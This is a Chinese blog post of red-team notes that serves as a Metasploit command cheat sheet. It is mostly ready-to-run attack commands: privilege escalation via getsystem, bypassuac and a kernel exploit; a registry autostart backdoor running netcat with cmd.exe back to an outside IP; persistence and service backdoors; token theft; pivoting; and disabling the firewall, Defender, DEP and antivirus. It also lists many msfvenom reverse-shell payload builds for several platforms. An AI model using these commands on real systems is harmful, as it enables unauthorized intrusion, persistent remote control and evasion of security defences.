这篇文章上次修改于 897 天前,可能其部分内容已经发生变化,如有疑问可询问作者。 # 安全工具_Metasploit Framework 笔记 HW期间RT动作不怎么大,空闲时间系统化学习了MSF,整理了命令如下,方便使用时速查。 ## 常用命令 ``` chcp 65001 # 乱码解决 cmd rev2self #返回原始token sessions #sessions –h 查看帮助 sessions -i #进入会话 -k 杀死会话 background #将当前会话放置后台 run #执行已有的模块,输入run后按两下tab,列出已有的脚本 info #查看已有模块信息 getproxy #获取代理信息 getuid # 查看权限 getpid # 获取当前进程的pid sysinfo # 查看目标机系统信息 ps # 查看当前活跃进程 kill 杀死进程 idletime #查看目标机闲置时间 reboot / shutdown #重启/关机 shell #进入目标机cmd shell migrate #将Meterpreter会话移植到指定pid值进程中 execute #在目标机中执行文件 execute -H -i -f cmd.exe # 创建新进程cmd.exe,-H不可见,-i交互 getwd 或者pwd # 查看当前工作目录 getlwd 或者 lpwd #操作攻击者主机 查看当前目录 lcd /tmp #操作攻击者主机 切换目录 edit c:\\1.txt #编辑或创建文件 没有的话,会新建文件 search -f *pass* # 搜索文件 -h查看帮助 timestomp -v C://2.txt #查看时间戳 timestomp C://2.txt -f C://1.txt #将1.txt的时间戳复制给2.txt ``` ## 信息收集 脚本位置: /usr/share/metasploit-framework/modules/post/windows/gather /usr/share/metasploit-framework/modules/post/linux/gather ``` run post/windows/gather/arp_scanner 参数 #查看内网主机 run post/windows/gather/checkvm #是否虚拟机 run post/linux/gather/checkvm #是否虚拟机 run post/windows/gather/forensics/enum_drives #查看分区 run post/windows/gather/enum_applications #获取安装软件信息 run post/windows/gather/dumplinks #获取最近的文件操作 run post/windows/gather/enum_ie #获取IE缓存 run post/windows/gather/enum_chrome #获取Chrome缓存 run post/windows/gather/enum_patches #补丁信息 run post/windows/gather/enum_domain #查找域控run post/windows/gather/arp_scanner RHOSTS=192.168.1.0/24 #扫描192.168.1.0/24这个网段 run auxiliary/scanner/portscan/tcp RHOSTS=192.168.1.144 PORTS=3389 #检测192.168.1.144是否开启3389端口 ``` ## 提权 getsystem提权原理( 管理员:Administrator–>system) ``` 1) getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。 2) getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。 3) Windows服务已启动,导致与命名管道建立连接。 4) 该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。 5) 然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。 ``` bypassuac提取:内置多个bypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限。 ``` use exploit/windows/local/bypassuac use exploit/windows/local/bypassuac_injection use windows/local/bypassuac_vbs use windows/local/ask msf > use exploit/windows/local/bypassuac msf > set SESSION 2 msf > run ``` 内核提权 ``` meterpreter > run post/windows/gather/enum_patches #查看补丁信息 msf > use exploit/windows/local/ms13_053_schlamperei msf > set SESSION 2 msf > exploit ``` ## 权限维持 注册表添加自启动后门 ``` reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚举run下的键值 reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v mtfq_nc -d 'C:\windows\system32\nc32.exe -d 192.33.6.150 444 -e cmd.exe' # 设置键值(-d参数:重启之后,自启动程序不会显示在前台执行,而是转为后台,提高隐蔽性) reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v mtfq_nc # 查看键值 netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL # 防火墙端口放行 ``` Persistence启动项后门 ``` # Persistence(通过启动项安装) run persistence -h # 查看帮助 run persistence -X -i 5 -p 4444 -r 192.33.6.150 run persistence -U -i 5 -p 4444 -r 192.33.6.150 -L c:\\Windows\\System32 -X:设置后门在系统启动后自启动。该方式会在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息。由于权限原因会导致添加失败,后门无法启动。因此在非管理员权限下,不推荐使用该参数 -U:设置后门在用户登录后自启动。该方式会在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加注册表信息 -L:后门传到远程主机的位置默认为%TEMP%【上传的是一个vbs脚本的后门程序】 -i:设置反向连接间隔时间为5秒 -P:默认载荷 windows/meterpreter/reverse_tcp -p:设置反向连接的端口号 -r:设置反向连接的ip地址 ``` Metsvc服务后门,正向后门。 ``` # Metsvc(通过服务安装) run metsvc -h #查看帮助 run metsvc -A #自动安装后门服务 run metsvc -r #卸载安装的后门服务 ``` ## 路由转发 ``` run get_local_subnets # 获取内网相关信息 route add 192.168.11.0 255.255.255.0 1 #在session1中添加到达192.168.11.0网段的路由 route add 192.168.12.0 255.255.255.0 1 #在session1中添加到达192.168.12.0网段的路由 route add 0.0.0.0 0.0.0.0 1 #在session1中添加到达0.0.0.0/24网段的路由 route del 192.168.12.0 255.255.255.0 2 #在session2中删除到达192.168.12.0网段的路由 route print #打印路由信息 run autoroute –s <目标内网地址网段> # 添加去往目标网段的转发路由 run autoroute -s 0.0.0.0/0 # 添加到达0.0.0.0/0的路由 run autoroute -p # 查看路由添加情况 route add 0.0.0.0 0.0.0.0 1 # 只要该被控主机可达的地址就都可达 ``` ## 端口转发 ``` portfwd add -L 192.33.6.150 -l 4455 -p 444 -r 192.168.9.101 # Local TCP relay created: 192.33.6.150:4455 <-> 192.168.9.101:444 ``` ## Socks代理 需要向设置路由转发,proxychains ``` use auxiliary/server/socks5 # 使用Socks5模块开启代理 use auxiliary/server/socks4a # 使用Socks4模块开启代理 /etc/proxychains.conf # 配置文件,配置代理信息 proxychains4 nmap -p 1-1000 -Pn -sT 192.168.192.139 # 流量走代理 ``` ## 令牌假冒 ``` load incognito # 加载插件 list_tokens -u # 列出令牌 impersonate_token NT\ AUTHORITY\\SYSTEM # 假冒该用户 rev2self # 返回上个令牌 ``` ## 令牌窃取 ``` ps #查看系统进程信息 steal_token #从指定进程中窃取token drop_token #删除窃取的token ``` ## 关闭杀软 ``` netsh advfirewall set allprofiles state off # 关闭防火墙(管理员以及以上权限) cmd netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL # 防火墙放行端口 net stop windefend # 关闭Denfender cmd bcdedit.exe /set {current} nx AlwaysOff # 关闭数据保护DEP cmd run post/windows/manage/killava run killav # 关闭杀软 ``` ## 远程桌面 enable_rdp.rb脚本原理:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令。 脚本位置:/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb ``` run post/windows/manage/enable_rdp #开启远程桌面RDP run post/windows/manage/enable_rdp USERNAME=qftm PASSWORD=123 # 添加用户 run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 将3389端口转发到6667 multi_console_command -r 文件地址 # 关闭远程桌面 run getgui -h # 查看帮助 run getgui -e # 开启远程桌面RDP run getgui -u qftm -p 123 # 添加用户,无远程登录权限 run getgui -f 6666 -e # 3389端口转发到6666 rdesktop -u username -p passwd 192.168.1.1 # 连接远程专门 portfwd add -L 192.33.6.200 -l 4455 -p 444 -r 192.168.9.101 #-L表示外网主机IP、-r表示内网主机IP、-p、-l表示将内网444端口转发到外网主机的4455端口 netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL #防火墙方通端口 ``` ## 生成木马 ``` windows/shell/bind_tcp windows/shell/reverse_tcp windows/meterpreter/bind_tcp windows/meterpreter/reverse_tcp windows/x64/shell/bind_tcp windows/x64/shell/reverse_tcp windows/x64/meterpreter/bind_tcp windows/x64/meterpreter/reverse_tcp linux/x86/shell/bind_tcp linux/x86/shell/reverse_tcp linux/x86/meterpreter/bind_tcp linux/x86/meterpreter/reverse_tcp linux/x64/shell/bind_tcp linux/x64/shell/reverse_tcp linux/x64/meterpreter/bind_tcp linux/x64/meterpreter/reverse_tcp ``` ``` msfvenom -l archs # 查看支持架构 msfvenom -p --list-options # 查看设置选项 msfvenom -p -f -o # 后门生成 msfvenom -p -e -i -n -f -o # 后门编码 msfvenom -p -x -k -f -o # 后门捆绑 msfvenom -p --encrypt --encrypt-key --encrypt-iv -f -o # 后门加密 msfvenom -p -e -i -b "\x00" -f -o shell.format # 对payload载荷使用encoder编码器编码number次并去除坏字符 msfvenom -p windows/messagebox TEXT="hello, it is a test. By Qftm" -f exe -o shell.exe msfvenom -a x86 --platform windows -p windows/shell/bind_tcp RHOST=xxx LPORT=xxx -f exe -o shell.exe or msfvenom -p windows/shell/bind_tcp RHOST=xxx LPORT=xxx -f exe -o shell.exe msfvenom -p windows/meterpreter/bind_tcp RHOST=xxx LPORT=xxx -f exe -o shell.exe msfvenom -p windows/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f exe -o shell.exe msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f exe -o shell.exe msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f elf -o shell.elf msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f elf -o shell.elf msfvenom -p osx/x86/shell_reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p osx/x64/shell_reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p osx/armle/shell/reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p osx/ppc/shell/reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -a dalvik -p android/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f raw -o shell.apk or msfvenom -p android/meterpreter/reverse_tcp LHOST=xxx LPORT=xxx -f raw -o shell.apk msfvenom -p android/shell/reverse_tcp LHOST=xxx LPORT=xxx -f raw -o shell.apk。 msfvenom -p apple_ios/aarch64/shell_reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p apple_ios/aarch64/meterpreter_reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p apple_ios/armle/meterpreter_reverse_tcp LHOST=xxx LPORT=xxx -f macho -o shell msfvenom -p linux/x86/shell/bind_tcp rhost=xxx lport=xxx -f elf -o shell.elf msfvenom -p windows/shell/bind_hidden_tcp rhost=xxx lport=xxx -f exe -o shell.exe msfvenom -p linux/x86/shell/reverse_tcp lhost=xxx lport=xxx -f elf -o shell.elf msfvenom -p windows/shell/reverse_tcp lhost=xxx lport=xxx -f exe -o shell.exe use exploit/multi/handler set payload windows/meterpreter/reverse_tcp ``` 主要参考资料: - [Metasploit Framework Handbook](https://qftm.github.io/2020/06/20/metasploit-framework/ "Metasploit Framework Handbook") - [MSF命令大全详解](https://www.cnblogs.com/MyGuazi/p/11871420.html "MSF命令大全详解")